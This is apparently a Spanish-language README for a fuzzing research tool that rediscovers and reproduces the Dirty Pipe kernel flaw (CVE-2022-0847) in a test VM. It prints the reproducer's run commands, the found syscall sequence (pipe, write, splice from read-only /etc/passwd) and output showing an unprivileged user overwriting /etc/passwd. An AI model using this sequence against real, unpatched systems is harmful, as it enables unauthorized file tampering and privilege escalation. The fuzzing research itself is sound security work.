
PoC muy rudimentario para detectar/reproducir CVE-2022-0847 (dirty pipe) mediante la generación aleatoria de syscalls y fuzzing diferencial contra un modelo.
Detector y reproductor ingenuo de CVE-2022-0847 (dirty pipe). Utiliza un generador simple de secuencias de syscalls / programas a partir de un conjunto deliberadamente limitado de bloques de construcción / valores de entrada (solo generación, sin fuzzing avanzado; sin mutación; sin guía de cobertura; sin reducción / minimización) y detecta comportamientos incorrectos inspirados en pruebas basadas en propiedades con estado, comparando los valores de retorno de cada acción sobre un modelo y el kernel real (fuzzing diferencial contra un modelo).
Como advertencia: el código usa muchos números mágicos / trucos / valores integrados en los bloques de construcción para poder generar el PoC mínimo que dispara el fallo. Por lo tanto, no es realmente (solo a medias) representativo de la generación realista de la secuencia de syscalls correcta con los parámetros correctos. La generación no guiada a través de todos los parámetros en el gran espacio de estados posible probablemente llevaría mucho más tiempo.
Intenté marcar todos los lugares donde un valor o la elección de acciones está directamente influenciada por el conocimiento asumido sobre el propio poc -- y que por lo tanto tendría que encontrarse aleatoriamente para un poc totalmente realista -- con la cadena "MAGIC VALUE".
Esto debe considerarse como una prueba de concepto muy preliminar.
# Kernel has been built like described in build-kernel
# and placed together with the debian trixie file system image in
# ~/Downloads/build-linux
# Create new unprivileged user.
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no root@localhost "useradd -m -s /bin/bash user ; mkdir ~user/.ssh/ ; cp ~/.ssh/authorized_keys ~user/.ssh/ ; chown -R user:user ~user"
# Build reproducer and copy it
cd reproducer/
cargo build
scp -i ~/Downloads/build-linux/trixie.id_rsa -P 10021 -o StrictHostKeyChecking=no target/x86_64-unknown-linux-musl/debug/reproducer-poc-CVE-2022-0847 user@localhost:
# Check system state before
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
# Run reproducer
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
# Check system state after
ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
Salida:
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 6f 6f 74 3a 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |root::0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost ./reproducer-poc-CVE-2022-0847
Running with PRNG seed 0x000000c835dace34
thread 'main' (416) panicked at src/main.rs:50:9:
Found bug: fake_res ReadAll(Buf("[72, 6f, 6f, 74, 3a, 3a, 30, 3a]")) != ReadAll(Buf("[72, 00, 00, 00, 00, 3a, 30, 3a]")) real_res
Model:
- [OpenFile { file: Path(["", "etc", "passwd"]), pos: 8 }]
- [PipeFd { buf: [0], capacity: 65536 }]
- Env([PipeFdR(Var(0)), PipeFdW(Var(0)), File(Var(0))])
Env: Env([Fd(160), Fd(161), Fd(162)])
Program: Pgm([Pipe, WriteAll(V(1), Buf("[00, 00, 00, 00]")), Open(Path(["", "etc", "passwd"]), O_RDONLY), SpliceAll(V(2), V(1), U64(1)), WriteAll(V(1), Buf("[00, 00, 00, 00]")), ReadAll(V(0), U64(8)), ReadAll(V(2), U64(8))])
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
$ # note that this poc is found practically instantly
$ ssh -i ~/Downloads/build-linux/trixie.id_rsa -p 10021 -o StrictHostKeyChecking=no user@localhost cat /etc/passwd | hexdump -C | head -n3
00000000 72 00 00 00 00 3a 30 3a 30 3a 72 6f 6f 74 3a 2f |r....:0:0:root:/|
00000010 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 |root:/bin/bash.d|
00000020 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d |aemon:x:1:1:daem|
Ten en cuenta que este poc es ligeramente diferente al de build-kernel-and-minimal-poc, ya que el orden de las syscalls se modifica de una manera que en realidad no importa para el fallo.
Esto demuestra que la ejecución sincronizada de comandos contra el modelo y el SUT del mundo real también identifica correctamente esta situación.